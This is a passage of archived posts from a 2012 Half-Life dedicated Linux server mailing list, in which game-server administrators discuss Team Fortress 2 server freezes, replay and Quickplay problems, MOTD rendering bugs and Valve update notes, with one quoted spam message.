 restart daily to free memory. The other, i never restart the
 gameservers on
 it unless i have to. I haven't seen any performance changes to the way
 or
 the other between the restarted servers and non restarted ones.

 Restarting is also bad if you have players around the clock, like i did
 have on halloween event. Drives them away.

 -ics

 17.11.2012 19:03, scipi...@aol.com kirjoitti:

   Isn't it good practice to restart servers on a daily basis? So it'll

 always be fresh?

 Sent from my Verizon Wireless 4G LTE DROID

 ics i...@ics-base.net wrote:

   I have only seen the froze on MvM server, twice and none yet after
 the

 latest update. Regular TF2 servers seem to be fine

 -ics

 17.11.2012 18:45, Peter Reinhold kirjoitti:

  On 17.11.2012 15:47, Sampson Rogers wrote:

  Seems this issue remains. I'm having to restart roughly 2 or 3
 servers
 a
 week due to this.

  Experiencing the same here, i've only seen it 

Re: [hlds_linux] Hanging on mapchange (changelevel)

2012-10-31 Thread Bjorn Wielens
One has to admit, the spam-bot might be onto an idea for improving server 
traffic... :-)





 From: Kalen Orchard kalenorch...@gmail.com
To: hlds_linux@list.valvesoftware.com 
Sent: Wednesday, October 31, 2012 9:12:42 AM
Subject: Re: [hlds_linux] Hanging on mapchange (changelevel)
 
 --

 Message: 7
 Date: Wed, 31 Oct 2012 04:45:16 -0700 (PDT)
 From: Staci Page danalmmp79...@yahoo.com
 To: Half-Life dedicated Linux server mailing list
         hlds_linux@list.valvesoftware.com
 Subject: Re: [hlds_linux] Hanging on mapchange (changelevel)
 Message-ID:
         1351683916.2086.yahoomailclas...@web124902.mail.ne1.yahoo.com
 Content-Type: text/plain; charset=us-ascii

 Well you responded, didn't realize I'd get your response that fast! I was 
 just looking at some news sites, kinda bored. Would you liven things up with 
 me, do you happen to have a web cam? I do! ;)


 Check my pictures here on my page if you'd want. Sext me a naughty photo or 
 would u wanna do a little bit of phone sex? My phone # is on there. TTYS? xxoo

 --

This is gonna be one them weird days, id'nit?

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Re: [hlds_linux] Start Server With Replay Auto-Enabled?

2012-10-31 Thread Bjorn Wielens
I can confirm this.

Interestingly enough, I do have ONE server that does require a map change 
despite having the -replay in the startup. It will sit with 25 player slots and 
an 'increased_maxplayers' tag until the map change, for some reason. (I haven't 
altered maxplayers, and the replay output in the log says it's enabled).

Not to derail the thread, but any thoughts on that?





 From: Steven Sumichrast packh...@gmail.com
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com 
Sent: Wednesday, October 31, 2012 10:21:18 AM
Subject: Re: [hlds_linux] Start Server With Replay Auto-Enabled?
 
My experience has been that even though that message appears, on the first
load it does work.  All of my servers show the same thing, but replay is
working without a map change (only if replay is started at the command line
-- if it's started after the server is booted then the replay recordings
don't start until map change).

On Wed, Oct 31, 2012 at 8:19 AM, Chris Oryschak ch...@oryschak.com wrote:

 Is it possible to start a TF2 server with replay's enabled and not have to
 perform an changelevel after the server initially loads.
 The reason i'm asking is because I have a few single map (24/7) servers
 that don't change the map and when i first load up the server (or after
 patch day) i need to manually change the level once for the replays to work
 correctly.

 Currently I load TF2 with the -replay switch which and the console says
 this:

 *   SUCCESS - REPLAY IS ENABLED!
 *
 *   A 'changelevel' or 'map' is required - recording will
 *   begin at the start of the next round.
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Re: [hlds_linux] Optional Team Fortress 2 update released

2012-10-27 Thread Bjorn Wielens
Try the TF2 ModelManager plugin that's used for playing as robots. it may work 
in combo with what you're doing.

Do let us know if it works. 



 From: Daniel Barreiro smelly.feet.you.h...@gmail.com
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com 
Sent: Saturday, October 27, 2012 7:45:01 PM
Subject: Re: [hlds_linux] Optional Team Fortress 2 update released
 
Thanks Eric.  Can't wait for the lag to be fixed.

On a side note, would it be possible to make it so plugins could force the
zombie skins?  We're trying to do it for Super Zombie Fortress.  We called
the attributes with TF2items, and it makes the skin go zombie, but the
scout_zombie.mdl is not appearing, so we have a green scout with
transparent body parts.

On Sat, Oct 27, 2012 at 6:42 PM, Eric Smith er...@valvesoftware.com wrote:

 We're still investigating the lag problems that have been reported.

 -Eric


 -Original Message-
 From: hlds_linux-boun...@list.valvesoftware.com [mailto:
 hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Pieter-bas Ronner
 Sent: Saturday, October 27, 2012 3:41 PM
 To: Half-Life dedicated Linux server mailing list
 Subject: Re: [hlds_linux] Optional Team Fortress 2 update released

 Eric,

 We have also some lag problems since the last patch. is this also a bug in
 tf2?

 2012/10/28 Eric Smith er...@valvesoftware.com

  We've released an optional (for dedicated servers) update for Team
  Fortress 2. The notes for the update are below.
 
  -Eric
 
  --
 
  Source Engine Changes (TF2, DoD:S, HL2:DM)
  - Fixed a regression in the Mac's minimum system check
 
  Team Fortress 2
  - Added new audio lines for Merasmus to use when he attacks
  - Fixed a Linux dedicated server crash related to Mann vs. Machine mode
 
 
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Re: [hlds_linux] [hlds] Mandatory TF2, DoD:S, and HL2:DM updates released

2012-10-26 Thread Bjorn Wielens


Anyone else experiencing the below? I can confirm it on a Linux box.




 From: T Marler bloodyi...@shaw.ca
To: Half-Life dedicated Win32 server mailing list h...@list.valvesoftware.com 
Sent: Friday, October 26, 2012 9:15:43 PM
Subject: Re: [hlds] Mandatory TF2, DoD:S, and HL2:DM updates released
 
I updated my servers (with verify all) twice, as soon ass the queueing system 
kicks in, my server blurts out:

Invalid wave number
Invalid Where argument 'spawnbot_scattered'
Unknown attribute 'Where' in WaveSpawn definition.
Invalid Where argument 'spawnbot_scattered'
Unknown attribute 'Where' in WaveSpawn definition.


And now my servers are not responsive.

Wtf?

- Original Message -
From: Eric Smith er...@valvesoftware.com
To: Half-Life dedicated Linux server mailing list 
hlds_linux@list.valvesoftware.com, Half-Life dedicated Win32 server mailing 
list h...@list.valvesoftware.com, hlds_annou...@list.valvesoftware.com 
hlds_annou...@list.valvesoftware.com
Sent: Friday, October 26, 2012 5:16:39 PM
Subject: [hlds] Mandatory TF2, DoD:S, and HL2:DM updates released

We've released mandatory updates for TF2, DoD:S, and HL2:DM. The notes for the 
updates are below.

-Eric

--

Source Engine Changes (TF2, DoD:S, HL2:DM)
- Added mat_viewportupscale and mat_viewportscale to enable rendering the world 
at a reduced resolution. (mat_viewportupscale 1 and mat_viewportscale 0.5 
will downscale world rendering by 50%.)
- Added a new convar mp_mapcycle_empty_timeout_seconds to trigger a changelevel 
when the server is empty
- Fixed a bug that prevented consecutive clicks on scrollbar buttons
- Performance and stability improvements
- Added positional audio support for Mumble clients 

Team Fortress 2
- Scream Fortress Event 2012
- Fixed a bug where buildings would be invisible during their setup time
- Mann vs. Machine
   - Added the map Mvm_coaltown_event with a special Halloween mission
   - Fixed a bug where players money would not be set properly when restoring a 
checkpoint
   - Fixed server crash on vote to restart mission


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[hlds_linux] Quickplay not activating?

2012-10-13 Thread Bjorn Wielens

Has anyone noticed issues with Quickplay since about 2 weeks ago?

We have several servers, some of which have no issues filling, but 
others get no quickplay traffic at all as of late, despite having both a 
gameserver identity (in good standing) and tf_mm_servermode set to 1.


Some of those affected were regularly full of QP traffic, and seem to 
have just died overnight. Even if we get 6 people in the server, not one 
single person comes in via Quickplay, whereas before, you would at least 
see the odd person come in until the server was full.


There are also no configuration differences (Except the running maps) 
between servers that do fill and those that don't.


Thanks in advance for any suggestions.


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Re: [hlds_linux] Server not responding while server is up

2012-09-19 Thread Bjorn Wielens
Also check the server IP displayed in the game info window when it says not 
responding.
If it's not the real IP of the server, there's not much you can do - my 
understanding is that this happens when your server loses connection to Valve, 
and when it reconnects sometimes the IP address is incorrect, causing the 
failed invites and Not responding errors.





 From: The Mighty Gerbil themightyger...@agapegraphics.com
To: hlds_linux@list.valvesoftware.com 
Sent: Wednesday, September 19, 2012 4:30:53 AM
Subject: [hlds_linux] Server not responding while server is up
 
Hi several of my regulars on our server were getting server not responding 
yesterday on our game night. This is while many of us are in the server 
actively playing on it without problem (regular 24 man with about 12- 14 on 
it). Even game invites did not work consistently. Bear in mind these are 
regulars who have played with us, with normal pings and once they finally got 
in had normal pings. In addition several clients, not the server itself, 
crashed or hung on map change. Nothing new has been added since last we played 
although I did update all the source mod plugins we already use. We have had 
ongoing other problems which I won't get into (occasional server crash, on and 
off map change, and general hit detection issues) but these particular ones are 
new. Not sure what to look for in our server log or if anything would be there, 
as these are client side occurrences, but client crashes did coincide with 
server map change. Although probably unrelated I
 was also wondering about this line...

L 09/19/2012 - 04:47:40: WARNING: ClientActive, but we don't know his SteamID?

Which appears to have started showing up around the MVM update whether you are 
running the mode or not.

Anyway any ideas on the server not responding or clients crashing/hanging on 
map change problems?



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[hlds_linux] HTML MOTDs not rendering?

2012-09-12 Thread Bjorn Wielens
Hi all,

This was touched on in a previous post - Does anyone know a solution for MOTDs 
not rendering (just a gray box, not even a background/plain text shows).

I've had this happen to me with both HTML motds and plain text contained in the 
motd.txt file.

The weird things are that:

a) some people can see the MOTDs fine.
b) right clicking the box and hitting 'view source' shows the HTML content of 
the correct MOTD page
c) I've gotten it to show up for me exactly once. 


Running our servers on Linux, there's no flash content or ads in the motd, and 
they render fine in a webkit-based browser.
I've tried both just the MOTD url in motd.txt as well as a META refresh to 
redirect. both have the same result.

If anyone knows of a fix, I'm all ears as we're in a situation where most of 
our traffic is passthru Quickplay, and I'd like to at least inform them about 
server rules and the existence of our other servers/extended/non-tf2 community

Thanks!
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Re: [hlds_linux] HTML MOTDs not rendering?

2012-09-12 Thread Bjorn Wielens
If it helps, the MOTD itself is located here:

http://freefrag.com/motd/motd.php





 From: Bjorn Wielens uniac...@yahoo.ca
To: Herover leon.l.a.niel...@gmail.com; Half-Life dedicated Linux server 
mailing list hlds_linux@list.valvesoftware.com 
Sent: Wednesday, September 12, 2012 11:31:14 AM
Subject: Re: [hlds_linux] HTML MOTDs not rendering?
 
Understood. I've rebooted the server numerous times and also restarted my 
client as well.


What I find weird is that the client _HAS_ the correct HTML for the MOTD, but 
just isn't displaying it at random!




From: Herover leon.l.a.niel...@gmail.com
To: Bjorn Wielens uniac...@yahoo.ca; Half-Life dedicated Linux server mailing 
list hlds_linux@list.valvesoftware.com 
Sent: Wednesday, September 12, 2012 10:55:42 AM
Subject: Re: [hlds_linux] HTML MOTDs not rendering?

I found that I sometimes have to shut down or/and atleast wait a few
minutes before I'm able to read a new. Not sure if it's client side or
server (SRCDS) side.

2012/9/12 Bjorn Wielens uniac...@yahoo.ca:
 Hi all,

 This was touched on in a previous post - Does anyone know a solution for 
 MOTDs not rendering (just a gray box, not even a background/plain text shows).

 I've had this happen to me with both HTML motds and plain text contained in 
 the motd.txt file.

 The weird things are that:

 a) some people can see the MOTDs fine.
 b) right clicking the box and hitting 'view source' shows the HTML content of 
 the correct MOTD page
 c) I've gotten it to show up for me exactly once.


 Running our servers on Linux, there's no flash content or ads in the motd, 
 and they render fine in a webkit-based browser.
 I've tried both just the MOTD url in motd.txt as well as a META refresh to 
 redirect. both have the same result.

 If anyone knows of a fix, I'm all ears as we're in a situation where most of 
 our traffic is passthru Quickplay, and I'd like to at least inform them about 
 server rules and the existence of our other servers/extended/non-tf2 community

 Thanks!
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Re: [hlds_linux] HTML MOTDs not rendering?

2012-09-12 Thread Bjorn Wielens
I'm of the same mindset, but unfortunately we lost our old one during server 
moves and upgrades, and the default one doesn't exactly cut it :)





 From: Herover leon.l.a.niel...@gmail.com
To: Bjorn Wielens uniac...@yahoo.ca; Half-Life dedicated Linux server mailing 
list hlds_linux@list.valvesoftware.com 
Sent: Wednesday, September 12, 2012 11:36:46 AM
Subject: Re: [hlds_linux] HTML MOTDs not rendering?
 
My lesson learned after trying countless of hours to write motd.txt:
if it works, don't touch it!
I have never experienced that the problem was the webpage to be shown itself.

2012/9/12 Bjorn Wielens uniac...@yahoo.ca:
 If it helps, the MOTD itself is located here:

 http://freefrag.com/motd/motd.php




 
  From: Bjorn Wielens uniac...@yahoo.ca
 To: Herover leon.l.a.niel...@gmail.com; Half-Life dedicated Linux server 
 mailing list hlds_linux@list.valvesoftware.com
 Sent: Wednesday, September 12, 2012 11:31:14 AM
 Subject: Re: [hlds_linux] HTML MOTDs not rendering?

 Understood. I've rebooted the server numerous times and also restarted my 
 client as well.


 What I find weird is that the client _HAS_ the correct HTML for the MOTD, but 
 just isn't displaying it at random!



 
 From: Herover leon.l.a.niel...@gmail.com
 To: Bjorn Wielens uniac...@yahoo.ca; Half-Life dedicated Linux server 
 mailing list hlds_linux@list.valvesoftware.com
 Sent: Wednesday, September 12, 2012 10:55:42 AM
 Subject: Re: [hlds_linux] HTML MOTDs not rendering?

 I found that I sometimes have to shut down or/and atleast wait a few
 minutes before I'm able to read a new. Not sure if it's client side or
 server (SRCDS) side.

 2012/9/12 Bjorn Wielens uniac...@yahoo.ca:
 Hi all,

 This was touched on in a previous post - Does anyone know a solution for 
 MOTDs not rendering (just a gray box, not even a background/plain text 
 shows).

 I've had this happen to me with both HTML motds and plain text contained in 
 the motd.txt file.

 The weird things are that:

 a) some people can see the MOTDs fine.
 b) right clicking the box and hitting 'view source' shows the HTML content 
 of the correct MOTD page
 c) I've gotten it to show up for me exactly once.


 Running our servers on Linux, there's no flash content or ads in the motd, 
 and they render fine in a webkit-based browser.
 I've tried both just the MOTD url in motd.txt as well as a META refresh to 
 redirect. both have the same result.

 If anyone knows of a fix, I'm all ears as we're in a situation where most of 
 our traffic is passthru Quickplay, and I'd like to at least inform them 
 about server rules and the existence of our other servers/extended/non-tf2 
 community

 Thanks!
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Re: [hlds_linux] HTML MOTDs not rendering?

2012-09-12 Thread Bjorn Wielens
I feared as much. Hopefully this gets fixed soon, as the community is in a bit 
of a slump and we need some fresh blood :)





 From: Cameron Munroe cmun...@cameronmunroe.com
To: Bjorn Wielens uniac...@yahoo.ca; Half-Life dedicated Linux server mailing 
list hlds_linux@list.valvesoftware.com 
Sent: Wednesday, September 12, 2012 12:10:53 PM
Subject: Re: [hlds_linux] HTML MOTDs not rendering?
 
This is an issue with the current engine. Nothing you can do other than 
wait for valve.

On 9/12/2012 7:55 AM, Bjorn Wielens wrote:
 I'm of the same mindset, but unfortunately we lost our old one during server 
 moves and upgrades, and the default one doesn't exactly cut it :)




 
   From: Herover leon.l.a.niel...@gmail.com
 To: Bjorn Wielens uniac...@yahoo.ca; Half-Life dedicated Linux server 
 mailing list hlds_linux@list.valvesoftware.com
 Sent: Wednesday, September 12, 2012 11:36:46 AM
 Subject: Re: [hlds_linux] HTML MOTDs not rendering?
  
 My lesson learned after trying countless of hours to write motd.txt:
 if it works, don't touch it!
 I have never experienced that the problem was the webpage to be shown itself.

 2012/9/12 Bjorn Wielens uniac...@yahoo.ca:
 If it helps, the MOTD itself is located here:

 http://freefrag.com/motd/motd.php




 
    From: Bjorn Wielens uniac...@yahoo.ca
 To: Herover leon.l.a.niel...@gmail.com; Half-Life dedicated Linux server 
 mailing list hlds_linux@list.valvesoftware.com
 Sent: Wednesday, September 12, 2012 11:31:14 AM
 Subject: Re: [hlds_linux] HTML MOTDs not rendering?

 Understood. I've rebooted the server numerous times and also restarted my 
 client as well.


 What I find weird is that the client _HAS_ the correct HTML for the MOTD, 
 but just isn't displaying it at random!



 
 From: Herover leon.l.a.niel...@gmail.com
 To: Bjorn Wielens uniac...@yahoo.ca; Half-Life dedicated Linux server 
 mailing list hlds_linux@list.valvesoftware.com
 Sent: Wednesday, September 12, 2012 10:55:42 AM
 Subject: Re: [hlds_linux] HTML MOTDs not rendering?

 I found that I sometimes have to shut down or/and atleast wait a few
 minutes before I'm able to read a new. Not sure if it's client side or
 server (SRCDS) side.

 2012/9/12 Bjorn Wielens uniac...@yahoo.ca:
 Hi all,

 This was touched on in a previous post - Does anyone know a solution for 
 MOTDs not rendering (just a gray box, not even a background/plain text 
 shows).

 I've had this happen to me with both HTML motds and plain text contained in 
 the motd.txt file.

 The weird things are that:

 a) some people can see the MOTDs fine.
 b) right clicking the box and hitting 'view source' shows the HTML content 
 of the correct MOTD page
 c) I've gotten it to show up for me exactly once.


 Running our servers on Linux, there's no flash content or ads in the motd, 
 and they render fine in a webkit-based browser.
 I've tried both just the MOTD url in motd.txt as well as a META refresh to 
 redirect. both have the same result.

 If anyone knows of a fix, I'm all ears as we're in a situation where most 
 of our traffic is passthru Quickplay, and I'd like to at least inform them 
 about server rules and the existence of our other servers/extended/non-tf2 
 community

 Thanks!
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